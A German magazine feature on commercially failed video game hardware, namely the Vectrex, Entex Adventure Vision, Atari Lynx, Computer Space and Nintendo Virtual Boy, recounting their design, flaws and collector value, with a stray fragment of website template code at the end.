Game Over

Game Over

Auf dem Friedhof der Videospielgeschichte tummelt sich eine illustre Gesellschaft innovativer Erfindungen, die ihrer Zeit weit voraus waren – dem Geschmack der Käufer leider auch.Wir setzen den traurigsten Schicksalen ein Denkmal

GCE 1982: Vectrex
Im trauten Heim der Achtziger hatte Platzhirsch Atari das Sagen – zusammen mit dem CBS Colecovision, dem Intellivision und dem Philips G7000 wurden vor der Flimmerkiste Schlachten geschlagen, das All erobert und Labyrinthe leer gefressen. Der Claim war abgesteckt. Eigentlich. Denn angeregt durch die Alles-ist-möglich-Stimmung und die nicht abreißen wollende Nachfrage nach neuen Herausforderungen versuchten einige Unverzagte, ein weiteres System zu etablieren, das die alt eingesessenen Götter das Fürchten lehren sollte. 1981 machte sich die Firma General Consumer Electronics an die Entwicklung einer Home-Entertainment-Plattform, die alle positiven Aspekte der vorhandenen Systeme in sich vereinte – Vielfalt durch Cartridges, angereichert mit der Portabilität von Tabletops und abgeschmeckt durch das Look-and-Feel der großen Arcade-Maschinen. Grafisch betrat GCE ebenfalls Neuland: Anstelle der üblichen Pixel standen filigrane Vektorgrafiken auf dem Speiseplan. Das Ergebnis einjähriger Entwicklungsarbeit wurde dann 1982 präsentiert: Angetrieben von einem 8-Bit-Mikroprozessor, ausgestattet mit einem 9-Zoll-Schwarzweiß-Bildschirm und einem integrierten Joyboard gab sich das Vectrex die Ehre. Die Game-Cartridges wurden zusammen mit Farbfolien ausgeliefert. Und so kam das Vectrex für den seinerzeit unfassbaren Preis von 500 Mark in den Handel. Der Absatz, wen wundert’s, war mäßig bis schlecht. Kurz vor dem alles entscheidenden Weihnachtsgeschäft wurde deshalb mit Macht die Upgradefähigkeit des Vectrex beworben: Mittels eines Lightpens konnte auf dem Bildschirm gezeichnet, musiziert und sogar animiert werden, und eine furchteinflößend aussehende 3D-Brille versprach plastisches Spielevergnügen. Außerdem sollte durch eine externe Tastatur und entsprechende Software sogar eine Aufrüstung zum Computer möglich sein. So fand das Vectrex dann doch noch einige glückliche Eigentümer. Und die wollten zocken! Natürlich erst, nachdem das Joypad herausgefummelt, die Folie an den Bildschirm gepappt und die entsprechende Game-Cartridge quietschend in den Schacht geschoben wurde. Aber dann konnte es wirklich losgehen: Den Start-Button nach rechts gedreht, empfing einen das Vectrex mit einem verstörenden Knattergeräusch, aufkommende Zweifel am technischen Gesamtzustand wurden durch die dann folgende Triumphfanfare und den auf dem Monitor erscheinenden Satz „Vectrex – GCE Entertaining New Ideas“ im Nu zerstreut. Viele Arcade-Klassiker wurden für das System adaptiert, zu den bekanntesten zählten „Scramble“, „Rip Off“, „Berzerk“, „Armour … Attack!“ und „Space Wars“. Gab es Probleme mit den Lizenzrechten populärer Titel, wurden diese kurzerhand als Eigenkreation umgesetzt. So war „Clean Sweep“ nichts anderes als ein „Pac-Man“-Clone, und „Spike“ konnte als Versuch gewertet werden, eine Art „Donkey Kong” in 3D zu erschaffen. Freilich mit dem Unterschied, dass das grinsende Sternchen Spike im Gegensatz zu Mario sogar sprechen konnte – wenn auch nur wenige, kaum verständliche Brocken. Aber das Vectrex war nicht frei von spielspaßhemmenden Macken: Bei zu vielen zeitgleich auftretenden dynamischen Abläufen verwandelte sich der nervige Brummton in ein ersticktes Flattergeräusch, und die Grafiken begannen dermaßen zu flimmern, dass nicht nur Epileptiker auf ihren Stühlen zusammenbrachen. Ein knappes Jahr nach Veröffentlichung ging dann alles ganz schnell. Im Zuge des großen Konsolencrashs wurde auch das Vectrex eingestellt. GCE und der europäische Lizenznehmer Milton-Bradley hatten Millionen in den Sand gesetzt. Ende der Achtziger wurde noch einmal der Versuch zur Wiederbelebung unternommen: Das Vectrex sollte als Handheld etabliert werden, doch der zeitgleich stattfindende Siegeszug des Gameboys machte auch diese Pläne zunichte. Totgesagte leben länger: Entwickler Jay Smith hatte sich die Rechte am Vectrex gesichert und gab in einem Anfall von Nächstenliebe den Source-Code preis – der Startschuss für alle Freizeitprogrammierer. Nach ersten zaghaften Versuchen fanden sogar komplexe Multilevel-Games den Weg ins Reich der Vektoren. Spiele wie „Gravitex“ zeigten der erstaunten Fanschar, was aus den alten Kisten rauszuholen war. Online-Foren, die sich über Programmier-, Reparatur- und Ausbautipps bis hin zum Nachbau der Farbfolien austauschten, sorgten für eine immer größer werdende Interessengemeinschaft. Und die hat es schließlich immer gewusst: Den immer komplexeren Spielprinzipien und immer realistischeren Grafiken heutiger Konsolen zum Trotz ist und bleibt das Vectrex das einzig wahre Tor in die Zukunft. Selbst nach 22 Jahren.
Entex 1982: Adventure Vision
Bereits Ende der siebziger Jahre etablierten sich Tabletops und Handhelds in zunehmenden Maße als portable Alternative zu den auf Fernseher und Papas Launen angewiesenen Homekonsolen. Für Furore auf den Pausenhöfen sorgte vor allem Nintendos „Game & Watch“-Serie, zu Hause waren einem die Huldigungen der Freunde sicher, wenn man mit einem Arcade-Tabletop von Coleco aufwarten konnte. Doch durch Atari und Co sank der Stern der Tabletops rapide – ein durch seine Monothematik begrenztes Game konnte auf Dauer nicht gegen die Cartridge-Vielfalt der Konsolen bestehen. Während sich einige Firmen den Zeichen der Zeit beugten, schlug Entex den entgegengesetzten Weg ein: die Entwicklung eines cartridgebasierten Portable-Systems. Der König der Tabletops. Der heilige Handheld-Gral. Was bestechend logisch klingt, war ungleich schwerer in die Praxis umzusetzen, denn egal ob LED-, VFD- oder LCD-Technologie: Die limitierten Display-Darstellungsmöglichkeiten reichten gerade mal aus, um ein Game ansprechend umzusetzen – für vielseitigere Anwendungen waren alle drei Varianten denkbar ungeeignet. Entex’ erster Versuch ging dann auch gründlich nach hinten los: Für die „Select-A-Game“-Machine mit VFD-Display interessierte sich kaum jemand. Obwohl man zwischen sechs Cartridges wählen konnte, gab es nur verschiedene Versionen der immergleichen Klotzgrafik, sodass Entex jedem Game ein ulkiges, auf den Bildschirm zu pappendes Winz-Overlay spendierte, das die Illusion von einem einzigartigen Spielspaß allerdings auch nicht aufrechterhalten konnte. Der zweite Wurf sollte den Misserfolg vergessen machen. Allein schon der Name schmeckte nach mehr: Adventure Vision. Und fürwahr: Diese Riesenkiste setzte neue Maßstäbe im Tabletop-Bereich, allerdings weniger im Erfolgs- als vielmehr im Kuriositätenbereich. Um die starren Display-Einschränkungen zu überlisten, wurde das Adventure Vision mit einer elektromechanischen Meisterleistung ausgestattet: Eine vertikale Reihe aus 40 LEDs traf auf einen mithilfe eines Motors rotierenden Spiegel, der diese Reihe 15 Mal in der Sekunde auf den Bildschirm projizierte. So entstand die Illusion eines Gesamtdisplays, bestehend aus 6000 roten Bildpunkten. 1982 wurde das Adventure Vision dann auf die Öffentlichkeit losgelassen. Um die Zielgruppe schnell für den Tabletop-Neuling zu begeistern, gab es beim Adventure-Vision-Starterkit den allseits beliebten Arcade-Klassiker „Defender“ gleich mit dazu. „Super Cobra“, „Space Force“ und „Turtles“ rundeten das Game-Angebot ab. Und dann? Ja, dann machten einige Besitzer doch tatsächlich den Fehler und versuchten, mit dem Adventure Vision zu spielen. Und das geriet zu einer fast unlösbaren Aufgabe. Bei normalen Tageslichtverhältnissen war es alleine der Sound, der Spielbereitschaft signalisierte – zu sehen war nämlich nichts, dafür waren die Display-Projektionen viel zu schwach. Erst wenn sämtliche störenden Lichter des Zimmers, der Wohnung und des Heimatortes ausgeschaltet waren, gab das Display seine Geheimnisse preis: Langsam vor sich hinwabernde Grafiken quälten sich über den Screen, und die geringe Framerate sorgte für einen brutalen Flackereffekt, der selbst den tapfersten Spielern nach kurzer Zeit das Blut in die Augen trieb. Offensichtlich waren die unerwünschten Nebenwirkungen der Grafikdarstellung auch bei Entex bekannt, und man schien nicht viel auf die Zukunft des Systems zu geben. So verfügte das Adventure Vision über einen eingelassenen Aufbewahrungsschacht für exakt vier Cartridges – und keine einzige mehr. Gerade mal ein Jahr nach Einführung verschwand das Adventure Vision sang- und klanglos vom Markt. Aufgrund seiner Einzigartigkeit ist das Adventure Vision eines der gesuchtesten Tabletops überhaupt. Wenn schon mal ein Exemplar bei Ebay und Co auftaucht, dann sollten Interessenten bereit sein, tief in die Tasche zu greifen: Gut erhaltene Geräte bringen es auf bis zu 1000 Euro! Wer das zu teuer findet, kann dank einiger Emulatoren seine Augen auch billiger ruinieren.
Atari 1989: Lynx
Im Expresstempo und ohne Rückfahrkarte von himmelhoch jauchzend bis zu Tode betrübt – diese wenig nette Erfahrung machte Atari Ende der achtziger Jahre. Die Nachfolger der Überfliegerkonsole 2600: allesamt Flops. Nintendo und Sega waren jetzt die Chefs im Ring, und die Pioniere versanken in der Bedeutungslosigkeit. Erst Ende der Achtziger gab es kurzfristige Anzeichen einer Besserung, hervorgerufen durch das Elend einer anderen Game-Schmiede. Bereits seit 1987 versuchte der Softwarespezialist Epyx, ein State-of-the-art-Handheld am Mark zu platzieren und hatte sich dabei mächtig verhoben. Leichte Beute für Atari: Rechte sichern, ein eigenes Look-and-Feel erstellen und den ursprünglich vorgesehenen Namen „Handy“ ganz schnell ändern. Und zwar in „Lynx“. Erfolg versprechend. Oder nicht? Eigentlich waren die Voraussetzungen ideal, denn der Handheld-Markt war ein einziger Anachronismus. Im Gegensatz zu der stetig stattfindenden Weiterentwicklung im Konsolenbereich hatte es hier weder technische Verbesserungen noch innovativeres Gameplay gegeben. Der Lynx hingegen hatte einiges zu bieten: 16 Bit Power. 4096 Farben. Hintergrundbeleuchtetes LCD-Display. Game-Cartridges. Zusatznetzteil. Multiplayerkabel und ein cooles Transportcase. Der einzige Konkurrent war ein zeitgleich erscheinendes, technisch bereits völlig überholtes, relativ albern aussehendes Handheld von Nintendo – der Gameboy. Und der machte das Rennen von Anfang an. Gründe gab es genug. Zuallererst konnte Nintendo beim Preis punkten, denn der Lynx war nahezu doppelt so teuer. Die nächste Schlappe fing sich Atari im Bereich der Produktion ein, denn während Nintendo durch perfektes Marketing und einen lückenlosen Vertrieb dafür sorgte, dass der Gameboy zuerst in aller Munde und dann in allen Läden war, kam der Lynx entweder sehr langsam oder gar nicht ans Licht der Öffentlichkeit. Zu guter Letzt verlor Atari auch im Bereich der Portabilität, denn das einzig Winzige am Lynx war der Bildschirm; ansonsten wirkte Ataris Handheld wie ein überdimensionales Brikett, das viel zu klobig zum Eben-mal-Mitnehmen war. Wahrhaftig „erschwerend“ hinzu kam die für den Lynx-Gamer essenzielle Zusatzausrüstung: Ein stattlicher Batterievorrat musste jederzeit in greifbarer Nähe sein, denn die aufwendige Technik hatte es erfolgreich darauf angelegt, die sechs nötigen Mignonzellen in Rekordzeit auszusaugen. Während bei den Gameboys die Daumen durch immer neue „Tetris“-Herausforderungen dicker wurden, schwoll bei den mal wieder im Dunklen sitzenden Lynx-Besitzern höchstens der Kamm. 1990 rüstete Atari deshalb auf: jetzt hatte der potenzielle Lynx-Käufer die Wahl zwischen dem Rundherum-Glücklich-Starter-Kit, bei dem sämtliche Add-ons und die „California Games“-Cartridge erhalten waren, und dem Basic-Set zum Preis eines Gameboys. Es nützte nichts, denn Nintendo hatte mit den zahlreichen und sehr beliebten Adaptionen der NES-Spiele ein unschlagbares Ass im Ärmel. Zu allem Unglück brachte Sega ein Jahr später mit mächtigem Getöse den Game Gear auf den Markt. Auch die zweite Lynx-Version konnte den Niedergang nicht stoppen, und 1993 war der Ausflug in die Handheld-Welt beendet. Atari konzentrierte sich vollends auf die Entwicklung der Jaguar-Konsole. Die floppte dann auch, aber das ist eine andere Geschichte. Wie sehr der Lynx seiner Zeit voraus war, sieht man an der nach wie vor vorhandenen großen Popularität. Firmen wie Songbird bringen selbst heute noch neue Games heraus, die begierig von der Fangemeinde aufgenommen werden. Gut erhaltene Systeme bekommt man für überraschend kleines Geld beim Auktionshaus seiner Wahl. Für total Geizgeile bleibt immer noch der Gang zu den in großen Mengen vorhandenen Emulatorenpages im Netz.
NA 1972: Computer Space
1962 sorgten Studenten des Massachusetts Institute Of Technology mit dem Ballerspiel „Spacewar!“ dafür, dass a) der Weltraum für Videogames erschlossen wurde und b) die Uni-Großrechner endlich Sinn machten. Einer der glühendsten Verehrer von „Spacewar!“ hieß Nolan Bushnell, Student der Elektrotechnik und Aushilfskraft in einem Freizeitpark. Die Erfahrungen aus beiden Betätigungsfeldern brachten ihn eines Tages auf eine bahnbrechende Idee … So machte sich Bushnell daran, eine „Spacewar!“-Version jenseits der Campusmauern zu kreieren. 1971 hatte er es geschafft – „Spacewar!“ hieß jetzt „Computer Space“, das Gameplay indes blieb identisch: Zwei Raumschiffe mussten sich duellieren; eins steuerte der Spieler, das andere der Computer. Um die Sache zu erschweren, gab es in der Bildschirmmitte eine Sonne, die eine tödliche Anziehungskraft ausübte. Mithilfe der Firma Nutting Associates wurden noch im selben Jahr 1500 „Computer Space“-Automaten gefertigt und in Kneipen aufgestellt. Der erhoffte Erfolg? Blieb aus. Nolan Bushnell hatte alles berücksichtigt, nur eines nicht: den Kunden. Denn der war weder Informatikfreak noch Atomphysiker, sondern ging in die Kneipe, um sich zu besaufen und kurzweiligen Spaß zu haben. Und das hieß damals Flippern und Poolbillard, nicht aber ein extrem futuristisch aussehender Kasten, der mit einem Bildschirm und einem Haufen Buttons ausgestattet war. Das sah eher nach Arbeit als nach Vergnügen aus. Und in der Tat: Wer nicht sofort vom Gegner abgeschossen werden wollte, kam um ein Studium der ellenlangen Bedienungsanleitung nicht herum. So passierte, was passieren musste: Die erste Produktionsauflage von „Computer Space“ war zugleich die letzte. Das erste Video- Arcadegame wurde zum ersten großen Misserfolg eines neuen Mediums. Nach dem „Computer Space“-Bauchklatscher war Nolan Bushnell um eine sehr wichtige Erfahrung reicher: Weniger ist mehr. Diese Weisheit berücksichtigte Bushnell bei seinem nächsten Videogame-Automaten. Die Bedienungsanleitung war in einem Satz zusammengefasst: „Avoid Missing Ball For Highscore.“ Das Gameplay: ein technischer Rückschritt. Der Name des Spiels: Pong. Der Name von Bushnells kurz vor der Veröffentlichung gegründeter Firma: Atari. Geht doch.
Nintendo 1995: Virtual Boy
In den Neunzigern machte ein neuer Begriff die Runde: Cyberspace. Ein Parallel-universum, von dem vorher niemand etwas geahnt hatte – die virtuelle Realität. Dort konnte man Cyberfreunde mit dem Cyberhandschuh begrüßen, danach Cybersex haben und Cyberabenteuer erleben. Die Spieler stiegen mit seltsamen Helmen auf dem Kopf in umzäunte Miniarenen und machten für Außenstehende nicht nachvollziehbare Kasperbewegungen, die in der virtuellen Realität aber hochgradig Sinn hatten. Auch Nintendo war von dieser neuen Art des Gamings beeindruckt und beschloss, die Virtual Reality zu domestizieren. Die ersten Ansätze waren viel versprechend: Genau wie bei den Vorbildern sollte der Spieler mit einem Helm in die Datenwelt entführt werden. Der Handschuh dagegen wurde durch einen normalen Controller ersetzt: ein erster Kompromiss, der aber noch tragbar schien. Was man von den weiteren „Systemverbesserungen“ nicht sagen konnte. Während nämlich die frisch auf dem Markt erschienene Playstation die Zocker mit bis dato nicht gekannten Grafikauflösungen verwöhnte, wurde in Nintendos Cyberspace Hausmannskost serviert: rote Grafiken auf schwarzem Hintergrund. Doch damit nicht genug, denn als Nächstes befand Nintendo, dass die Bewegungsfreiheit des Virtual Boy zu groß sei, und bescherte dem Cyberhelm anstelle eines sinnvollen Kopfgurtes ein Stützbein. Mit starrem Blick und vorgebeugter Haltung gab man sich nun den virtuellen Welten hin, zumindest bis sich irdische Beschwerden wie Kopf- und Rückenschmerzen einstellten. Dass die Batterien gerade mal vier Stunden hielten – geschenkt. Nachdem Nintendo sämtliche positiven Ansätze erfolgreich eliminiert hatte, wurde der Virtual Boy 1995 in den USA und Japan veröffentlicht. Offensichtlich hatte Nintendo bereits zu diesem Zeitpunkt mit dem Projekt abgeschlossen, denn anstelle der angekündigten Spieleflut schafften gerade einmal 22 Games den Weg in die Läden. Anderthalb Jahre später war dann endgültig Schluss. Der Virtual Boy war Geschichte. Letzte Exemplare wurden für ein Taschengeld verramscht. Heute ist der Virtual Boy ein hoch geschätztes Item. Für ein gut erhaltenes Exemplar werden schnell mal 200 Euro fällig. Immer noch Geld vorhanden? Dem kann abgeholfen werden, denn einige nur in Japan erschienene Games bringen es auch gern mal auf einen schnieken Stückpreis von bis zu 1000 Euro. Text: Rüdiger Hennecke, Fotos: Winnie Forster, Andreas Lange query_vars['hefttag'])) { if (isset($wp_query->query_vars['flashgame'])) { if($wp_query->query_vars['hefttag']=='mandateofheaven' && $wp_query->query_vars['flashgame'] == 'rubikon') { echo '

Ich rule supreme

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von Volker Hansch / Juni 10th, 2004 /

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